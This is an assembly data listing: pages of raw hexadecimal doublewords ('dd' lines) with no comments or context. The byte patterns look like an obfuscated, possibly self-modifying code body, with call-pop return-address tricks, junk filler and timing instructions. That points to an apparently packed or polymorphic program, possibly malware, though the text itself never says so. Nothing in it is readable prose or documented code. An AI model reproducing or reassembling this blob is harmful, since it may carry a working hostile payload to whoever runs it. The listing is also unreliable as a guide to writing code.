		dd 3EC07292h, 7E992h, 9C2B0000h, 2DA2EB8Bh, 0B5FF5F2Dh
		dd 647B760h, 19BD8B56h,	5F064414h, 9E9h, 0D09B5A00h, 54794527h
		dd 95FF786Dh, 64417D9h,	0BD8377B7h, 64414B5h, 62840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0A48C352h, 81D88BA6h, 0CB2781E3h
		dd 800F963Ah, 0Eh, 61605250h, 800F310Fh, 0
aZxpN0Cj	db 'ZXP©ъ█0%√j',0
		db 56h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 70F745EDh, 60B5FFACh, 6A0647B7h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 65FDC357h
		dd 0DB0E1614h, 0A8203A4Ch, 7CCC6ABBh, 0FFD88B42h, 442E7D95h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 95BD29DBh, 0FF064423h, 47B760B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0FB8BF5DBh, 144195FFh, 6A0644h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0A1DCF0C3h, 1121EDBCh
		dd 66514EC7h, 2B94E381h, 0A85BD83h, 0F020644h, 6B84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 33B20230h, 4421D59Dh, 91858B06h, 0E9064415h,	13h, 93942EF4h
		dd 9A002837h, 93BBCA7h,	46FE06AEh, 0C67AC955h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 2D930AC3h, 6609F7F4h, 10ACD781h, 175985C7h, 644h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 14CD15C3h, 31B767Eh,	442859BDh, 0F0DDE906h, 9531FFFFh
		dd 64402B5h, 6AC18Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0E626D2C3h, 0E1858D8Fh, 6A06441Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 660EC353h, 0DB80D88Bh, 8B66500Ch,	240489DEh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0CDC35545h
		dd 1486E67Fh, 10A3FDB9h, 553DD781h, 0DA8B506Eh,	19B3006Ah
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 1ED247C3h, 0E9C2E2C1h, 0Fh, 786A591Eh, 526206DAh
		dd 0E7E68EFDh, 0F97B7841h, 0C90C858Dh, 6A0648h,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E96726C3h, 11h, 3A125976h, 0A2DFE6B6h, 0F2378D19h
		dd 317A2EA2h, 5C0835Fh,	0FAE030BBh, 0E1BB505Bh,	891A8903h
		dd 0F8602404h, 0E1858B57h, 5E064421h, 66006A61h, 0F98BFB8Bh
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 896050C3h, 0F27E5A7h, 48Ah, 9BBF6600h, 0FB8B663Fh
		dd 182595FFh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 6C4697C3h, 0A5E94ABh, 830FA47Ch
		dd 5, 0EEB9D5BFh, 978D8D76h, 6A06479Ah,	3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0B232C352h
		dd 6AD1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 1BD4A5C3h, 59A90E94h, 2F11BD83h, 0F010644h
		dd 7185h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 3651675Dh, 2807B8BCh, 6A026Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0AB57F8C3h, 50985B91h, 0FFB70F2Bh, 0D630BF50h, 4893D85h
		dd 0B1BD8924h, 0FF064432h, 44296D95h, 0CE906h, 4A8F0000h
		dd 3FA23D6Bh, 0E7B7418Ch, 0EAE90A18h, 0E800000Ch, 0
		dd 16ED815Dh, 6A0648C9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 2C43C351h, 6860F2Eh
		dd 89000000h, 44084995h, 459D8906h, 8D06441Fh, 478B5885h
		dd 0DBBF0F06h, 0F88B6690h, 8E0F5750h, 0
		dd 6A905Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0FF6469C3h, 35h, 699D2B00h, 64064419h, 2589h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 40045DC3h, 9529C9B7h, 6440C11h, 8E985FFh
		dd 95090644h, 644314Dh,	6AFF6Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 35C986C3h, 3E859BB5h
		dd 68A0F1Dh, 33000000h,	44225DBDh, 49B5FF06h, 6A064416h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 6749C353h, 95FFBCB7h, 6442281h, 133E9h, 14E800h
		dd 9AAD0000h, 400BD282h, 7ED432CFh, 3D62F336h, 24C526D3h
		dd 2ABB2CBFh, 5F65E634h, 8D0F00B0h, 6, 2B818D89h, 70E60644h
		dd 2AC99589h, 0B5890644h, 6441CE1h, 0BD8B71E4h,	6441C31h
		dd 830F613Ch, 0E8h, 13E99D03h, 0B60F0644h, 0EE9C8h, 0F32F0000h
		dd 61A7D505h, 0D5DC642Ch, 0E81A00A8h, 6BAh, 0D9B70F00h
		dd 0FE9C18Bh, 25000000h, 5EDB8F2h, 4904846Fh, 0EE2DBDDAh
		dd 0E8C1AF79h, 0F9B70F04h, 66E2F766h, 0C82BFE8Bh, 8BFB8B66h
		dd 9D8D89D1h, 0E9064415h, 90h, 2998589h, 858B0644h, 1
		dd 0E8FEB70Fh, 13h, 88E366E0h, 0AE4F0AE3h, 0A2AF6B2Ch
		dd 0D1A6C9C9h, 0E91A5711h, 10h,	0ECD2FD4Eh, 0C3290B61h
		dd 3F4C4EA8h, 53C1D1B6h, 7C0835Fh, 31A1BD2Bh, 70BF0644h
		dd 8323BA62h, 816600C0h, 3B9023DBh, 0C830FD0h, 89000000h
		dd 441051BDh, 2AE906h, 8BF50000h, 0FFFFFF8Dh, 90EF81FFh
		dd 83663E4Dh, 840F01E1h, 14h, 0A583FA8Bh, 0FFFFFFFFh, 19589FEh
		dd 0E9000000h, 0
		dd 4556B58Dh, 81660648h, 0F880FC7h, 68Eh, 850F00h, 6A000000h
		dd 9BD8B00h, 0FF06440Dh, 441C4D95h, 0A1952906h,	0B9064410h
		dd 0F59h, 0FCE183F9h, 22059529h, 6AFC0644h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 4581C357h
		dd 0DE8BB953h, 6AC02Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0CFD71EC3h, 0A2CD83E3h, 22D38166h
		dd 0BA96h, 33AD0000h, 3E8D1C2h,	4E983D0h, 0BD8BF475h, 6440301h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7BC35646h
		dd 20819D03h, 880D0644h, 80000000h, 958B76F3h, 6442F5Dh
		dd 256652BBh, 798D8B2Dh, 3064406h, 442E599Dh, 0C28B5006h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0B758188Bh, 50006ADDh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 69BD8B8Dh, 8306440Fh, 442CADBDh, 840F0006h, 6Bh, 0DB816657h
		dd 0F5F1424h, 488h, 5ABB6600h, 0B872h, 6A0000h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 66FD40C3h, 0BF629ABFh, 6D16A959h, 4E558D8Dh,	0DF800644h
		dd 6AE1FF34h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 5EA0C350h, 2ED66EFEh, 83F98BA6h
		dd 441071BDh, 840F0006h, 401h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 35C35343h, 41BD3152h, 5F064419h
		dd 1071BD83h, 0F010644h, 3EB84h, 17870F00h, 0E9000000h
		dd 12h,	0DA614D73h, 53D8FCE5h, 0E3DC2A42h, 0BC3119FEh
		dd 10E8629Dh, 95000000h, 90BFB804h, 268951F0h, 0D515FD23h
		dd 1263377h, 4429B98Dh,	0BD835F06h, 6441071h, 6F860F03h
		dd 66000003h, 6A60F98Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0E2A3C355h,	5E93BDCh
		dd 8C66EA23h, 0BD0151D9h, 6440CF1h, 4E1805Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 7C35343h, 39FFAF3Eh
		dd 1C419D2Bh, 0C90A0644h, 0D2840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 646C59C3h
		dd 8166031Ch, 8BB458C7h, 440AD585h, 0B5BD8B06h,	8B064406h
		dd 441F35BDh, 0BD853306h, 53064403h, 66905BF9h,	9050DF8Bh
		dd 29198509h, 6A0644h, 0A4A2BF66h, 0B920C768h, 8E819h
		dd 0C58C0000h, 3B3C6822h, 6652F889h, 5F5381BBh,	2434815Fh
		dd 19A62338h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	0EC35141h, 1BE59589h, 95FF0644h, 6440081h, 18EDBD8Bh
		dd 85890644h, 647B760h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 78C35646h, 0C20F760Ah, 0A2E9695Ch, 66000001h
		dd 0E50AEF81h, 0B758858Bh, 6A0647h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 4F3FDBC3h
		dd 75C3818Dh, 0F2D8A99h, 0C7D9BFh, 18h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 21C35040h, 8BFABF0Fh
		dd 47B75CB5h, 0CF816606h, 858B6E9Ch, 644300Dh, 4DBD2357h
		dd 5F06441Dh, 85890689h, 6443075h, 0AD5858Bh, 6A0644h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0C4AA35C3h, 0BD8911E8h, 644338Dh, 0FC044689h, 5BDD8A53h
		dd 50FE8B96h, 96F98B66h, 34DBD0Bh, 0B5FF0644h, 647B758h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 94C35040h
		dd 0E3477A0Ch, 0E9896E7Bh, 5, 0B3ECB12h, 7D95894Ch, 6806442Fh
		dd 217C8D02h, 6E8h, 87355300h, 5055E58Dh, 840F52h, 0F000000h
		dd 70FCBB31h, 585A52E7h, 2434815Bh, 21638EFDh, 858DF88Bh
		dd 647B760h, 0D75B529h,	0BB500644h, 77DED61h, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 517DC350h, 0EA9DB42Ch, 66609453h,	758DC681h
		dd 38A0Fh, 0F3800000h, 5E96130h, 0BB000000h, 4C389DA2h
		dd 8195FFh, 6A0644h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0C3E5CBC3h, 353B0884h, 7595897Fh
		dd 0B7064414h, 6A616Eh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 8F4FD1C3h, 12E8h, 64F59C00h, 1A386BC7h
		dd 0C8BE4970h, 11B0416Fh, 66A1EBA0h, 9DAFF381h,	7185C75Fh
		dd 3064410h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0EAAFC357h,	0B5E0A3CDh
		dd 8AC30358h, 88F0Fh, 8A0F0000h, 2, 0BD89DE8Bh,	6441031h
		dd 0BBD4F781h, 0BD831D12h, 647B760h, 0B840F00h,	8B000000h
		dd 44259D9Dh, 1BE906h, 30500000h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 7FD12C9Ch
		dd 5FD93DAh, 830F60FFh,	6, 187DB589h, 81610644h, 0F037C3E7h
		dd 71BD830Dh, 3064410h,	43D850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0AB442DC3h
		dd 0BF66600Ch, 800FB876h, 3, 61C1BF0Fh,	0B760BD83h, 0F000647h
		dd 40284h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0EFEB36E6h, 0B5FF23BBh, 647B760h
		dd 7E9h, 498BAA00h, 587F5FB7h, 69995FFh, 6A0644h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0B58BD4C3h, 647B754h, 1820F52h, 0F8000000h, 106C75Fh
		dd 6A000100h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0C388C350h, 0AD57EA79h, 7F40DB82h
		dd 0FEB70F50h, 0EE8505Fh, 97000000h, 11DDA27Bh,	2A64126Bh
		dd 0C7044A6Eh, 6E8CBh, 63E00000h, 448180ECh, 34895F5Fh
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 6DB9A40Eh, 2F9DB501h, 0B5FF0644h, 647B760h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0BFC35141h
		dd 0A397B143h, 0A3B296F2h, 9377BBDFh, 0D7817498h, 59B386FDh
		dd 1E0195FFh, 8D890644h, 644146Dh, 0B754B58Bh, 6A0647h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 7D4192C3h, 0E84F6EA9h, 5, 0FC026216h, 5BFA8B2Fh, 2E71858Bh
		dd 11E90644h, 88000000h, 0C8C283E2h, 0A1769463h, 0AB538FD6h
		dd 0D9A6418Dh, 207DB589h, 86890644h, 0C4h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 9FC35646h, 0E08E8FDBh
		dd 9D2BEBF6h, 6442E05h,	2F5D958Bh, 860F0644h, 6
		dd 23B19D8Bh, 0C2830644h, 0AD9D0104h, 89064430h, 6A2050h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 393D80C3h, 0C05DA2FBh, 9D336FB3h, 6441829h, 0C40CD781h
		dd 858D5B47h, 647CAA0h,	6880Fh,	0BD290000h, 6442CB1h, 0B88689h
		dd 0BD8B0000h, 6442DF5h, 0BF0F006Ah, 60B5FFD9h,	660647B7h
		dd 0FFE791BBh, 44296D95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 7048E217h
		dd 5E2BE477h, 5830F60h,	66000000h, 4475D181h, 860Fh, 96610000h
		dd 0F525056h, 85h, 50310F00h, 5A310F52h, 5F585A58h, 7E850h
		dd 11E0000h, 0CB42BA28h, 0CE98Eh, 0B1A00000h, 31840AF6h
		dd 825CAD21h, 965F32F4h, 0FFFE8B66h, 47B760B5h,	558D8906h
		dd 0FF06441Dh, 4417D995h, 0BBB6606h, 9E963h, 7FD30000h
		dd 0CDBA35ACh, 83B823F3h, 4414B5BDh, 840F0006h,	75h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 66C35040h, 5FC7D8D0h
		dd 0EF81660Fh, 8A0F8621h, 6, 305DB589h,	8B960644h, 0AE850DEh
		dd 3E000000h, 1014AFCDh, 610F6BCCh, 0E3BF6604h,	6A965F1Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0B11DC352h, 0BB654AA9h, 81AD4AE1h, 868B43C3h
		dd 60B5FF04h, 6A0647B7h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0F83AC350h,	118D01FCh
		dd 0B06442Ah, 441AD9BDh, 7D95FF06h, 0BB06442Eh,	1864D96Fh
		dd 60B5FFF9h, 0E90647B7h, 12h, 810C515Dh, 29782F58h, 0CF9F1842h
		dd 2675C11Bh, 95FF0DC7h, 6441441h, 2870Fh, 0DE8A0000h
		dd 0A85BD83h, 0F020644h, 4784h,	599D0900h, 8B064419h, 44159185h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BFB3F7ACh, 0E90000C6h, 14h, 244F6066h
		dd 517CEDB9h, 85BB397Dh, 7B79121Eh, 0C44DDC3Ch,	175985C7h
		dd 644h, 87BF0000h, 0E927A273h,	0FFFFF414h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 9C35747h, 899D030Eh
		dd 8B064414h, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 316DDF17h, 440D499Dh, 0E1858D06h
		dd 6A06441Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 4FDDC351h, 81F88A3Bh, 11819DD3h
		dd 8B669060h, 0DE950DEh, 0B1000000h, 728ADFFEh,	92B23FE8h
		dd 92685834h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0B9026165h, 0E959FE23h, 8, 0F1160144h
		dd 0C9C1A7F5h, 319D09F5h, 6A06441Eh, 0F9BF5600h, 5B2AD2E1h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 68088BC3h, 0F3379462h, 0FF1542Dh,	858DDBB7h
		dd 648D7EBh, 0F05C083h,	0F50DFBFh, 681h, 0D59D8B00h, 5B064409h
		dd 89FA8B50h, 0DA8B2404h, 5850Fh, 0DCBF0000h, 6A12C330h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 6A29DE87h, 3840F00h, 66000000h, 95FFDF8Bh
		dd 6441825h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	7BC35343h, 255FFDFDh, 76FDE95h,	0FED8D29h, 8D8D0644h
		dd 6479A97h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0B5C35545h, 578F9A98h, 9E98178h, 0B2000000h, 6B91DB79h
		dd 85C5392h, 1BE59589h,	0D1FF0644h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 3AC35040h, 81660108h, 830D0BF3h
		dd 442F11BDh, 850F0106h, 4Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0C6C35545h,	1FC19D8Bh, 26A0644h
		dd 52506050h, 0EF2748B9h, 66310F24h, 585AC88Bh,	89616BB0h
		dd 33F52404h, 44097DBDh, 6D95FF06h, 29064429h, 4421398Dh
		dd 0E9FE906h, 0E80000h,	5D000000h, 0D7F5ED81h, 6A0648h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0DB82ADC3h, 0FCB37F40h, 4EBB66EEh, 18BB6634h, 58858DC6h
		dd 6A06478Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 5B25C351h, 641AC4CCh, 8759589h
		dd 50900644h, 6E8h, 93721700h, 8A04B455h, 64905BFCh, 35FFh
		dd 9D330000h, 6441C49h,	258964h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 818EC356h
		dd 9783CD4Ah, 4DB8135h,	0E862536Ch, 0Eh, 0F51D38B4h, 2A877C5Bh
		dd 0BFF7FA2Fh, 0BD894019h, 6441D4Dh, 0E985FF5Bh, 89064408h
		dd 4408158Dh, 39BD8906h, 6A06442Fh, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0D7D639AEh
		dd 0FF989057h, 440A49B5h, 0D7816606h, 95FFE643h, 6442281h
		dd 12EE9h, 58BF6600h, 0E800B078h, 0Dh, 27843010h, 0DABE4B49h
		dd 5E86400Ch, 0FA8B6644h, 6670E65Bh, 0E44E4EBBh, 45BD8B71h
		dd 3C06440Eh, 0FC830F61h, 8B000000h, 441D2D9Dh,	6840F06h
		dd 89000000h, 4416418Dh, 0C8B60F06h, 6880Fh, 9D0B0000h
		dd 64406B1h, 7E9h, 7F23C800h, 6A34B7Ch,	6BAh, 3830F00h
		dd 0F000000h, 0C18BF9BFh, 0C1EAC780h, 8A0F04E8h, 0
		dd 66E2F766h, 2BF367BBh, 8BBDB3C8h, 85BD89D1h, 0E9064408h
		dd 9Bh,	0EE8h, 0EADCA300h, 0D061A3DCh, 4F34D70Dh, 8B801AA8h
		dd 443069BDh, 858B5B06h, 4, 8505BF66h, 8907C083h, 4424098Dh
		dd 0C08306h, 8E9h, 0B69A7900h, 72CB3606h, 0FD03B3Fh, 1B83h
		dd 860F5300h, 2, 0E95F86B7h, 47h, 21718501h, 0BD2B0644h
		dd 644009Dh, 0FFFF8D8Bh, 0AE9FFFFh, 25000000h, 7B92ED3h
		dd 3E27E353h, 1E1834Fh,	1D840Fh, 81660000h, 83D5F5D7h
		dd 0FFFFFFA5h, 8589FEFFh, 644100Dh, 49589h, 0E90000h, 8D000000h
		dd 4854AFB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 7C3E828Eh, 41EABB98h, 0D6D9D01h
		dd 6A0644h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 19h,	3DC35242h, 4EC1D270h, 0E59D89EBh, 23064403h, 441F21BDh
		dd 4D95FF06h, 6A06441Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 3485C357h, 43B95C25h
		dd 6A00000Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 26C8C351h, 10E8h, 9BAAD200h, 3C9A3F40h
		dd 8E8E55CDh, 0B72874B1h, 14E874h, 9D50000h, 0AA3CE9B0h
		dd 24D5B0C5h, 0A1CE56CFh, 669F797Eh, 8F0FA570h,	0
		dd 8D895F5Bh, 6440DE9h,	0F9952960h, 8006441Eh, 836198CEh
		dd 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 9548BDC3h, 0F88B6603h, 52006AFCh,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 894E3C6Dh
		dd 441D318Dh, 0B806h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0C1412EC3h, 0BA23h, 8A0F0000h
		dd 1Eh,	12E8h, 0B1553E00h, 0BC37B711h, 5FE6362Bh, 51BB75D4h
		dd 8164BC22h, 0B060AC7h, 33AD5B4Eh, 3E8D1C2h, 4E983D0h
		dd 8D29F475h, 6441045h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 6CC35343h, 66549C06h,	6675B7AFh, 880DDA8Bh
		dd 3000000h, 442D9D9Dh,	5D958B06h, 5706442Fh, 2FC1BD8Bh
		dd 8B5B0644h, 4406798Dh, 14E906h, 56D70000h, 0CBD97FE6h
		dd 0C220147Fh, 33D997F7h, 6BDA6740h, 8B504EADh,	3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 13E9h, 896D3700h, 0F9C52D0Ah
		dd 0B182B305h, 5334CBA0h, 0E0D912BEh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 96C35343h, 190D2AFDh, 1F4FE1A6h
		dd 0F38166AFh, 0BD83A7DFh, 6442CADh, 8D840F00h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 4D3DC356h, 0D635A07Bh, 66BCB8BBh,	0B84D59BBh
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0BBC35343h
		dd 2B719D89h, 8D8D0644h, 6444E55h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0F3C35646h,	0E3EFA302h, 0C0BBC6B3h
		dd 0FF3B8CE0h, 9E8E1h, 3CBF0000h, 667D6CA0h, 5B13B226h
		dd 1071BD83h, 0F000644h, 43284h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 46A905AFh
		dd 0FEB70F9Eh, 1071BD83h, 0F010644h, 41D84h, 0BD83F800h
		dd 6441071h, 0D9860F03h, 6A000003h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 5A08C352h
		dd 0BD33BA07h, 6441A15h, 0CB1BD8Bh, 6A600644h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 198BC350h, 97E78144h, 66353E61h, 6AD98Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 676DDDC3h
		dd 754C6C61h, 816694C3h, 805B17DBh, 816604E1h, 0A8911CFh
		dd 39840FC9h, 6A000001h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 7596C351h, 9D898655h
		dd 6442471h, 0AD5858Bh,	6A0644h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0F781E1C3h, 0CD014B4h
		dd 0FB30DF81h, 853326C8h, 64403BDh, 60DD8A60h, 16818D89h
		dd 8D890644h, 6441541h,	8D896161h, 6441C85h, 59BF6650h
		dd 24048933h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	0A1C35242h, 8580D0BEh, 24ADBD2Bh, 0BD8B0644h, 6442BA5h
		dd 9589006Ah, 6442D51h,	1A65BD8Bh, 0C5680644h, 51F1A42Ch
		dd 2404815Bh, 0E7AD73Ah, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 47C35545h, 8B537B67h,	4406819Dh, 95FF5F06h
		dd 6440081h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	31C35141h, 8B0E8670h, 4407C99Dh, 60858906h, 600647B7h
		dd 0B05A5BB9h, 0BABB667Bh, 0BCE961BCh, 0F000001h, 680h
		dd 95BD8B00h, 66064408h, 51BEEB81h, 0B758858Bh,	6A0647h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 1D93FAC3h, 0ABFD2AEh, 859D3303h, 0F506442Ch,	1800C7h
		dd 8A0F0000h, 6, 2CFD9D89h, 0B58B0644h,	647B75Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6AC35545h, 300D858Bh
		dd 0CDBF0644h, 89296CF7h, 619D8906h, 8B064424h,	440AD585h
		dd 89DE8A06h, 6A0446h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0B346E6C3h, 800F508Bh, 0Ah, 0DE8B5250h
		dd 0DE8B310Fh, 3489585Ah, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0F65BF7E6h
		dd 0FF546E8Ch, 47B758B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0EE21804Ch
		dd 95894A45h, 644309Dh,	84904668h, 0DE9B7h, 8E4A0000h
		dd 69995435h, 91572E89h, 8140906Fh, 73B92404h, 6A489Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 32B04CC3h, 8B66B99Fh, 60858DF8h, 660647B7h, 408EE781h
		dd 5020B790h, 4EFB43BBh, 8D89905Eh, 64429F1h, 8195FFh
		dd 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0E518A8C3h, 40EEA232h, 10E808h, 512E0000h
		dd 3935253Fh, 10F4B8C3h, 75F39FECh, 9D03A100h, 6440C39h
		dd 9195015Bh, 6106441Ch, 1F03BF66h, 107185C7h, 30644h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 96BE6FC3h, 5ED7D756h, 60BD836Bh, 647B7h
		dd 2A840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0B3F74EC3h, 0D7816674h, 1CE9ADE3h
		dd 0F8000000h, 110C3050h, 1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
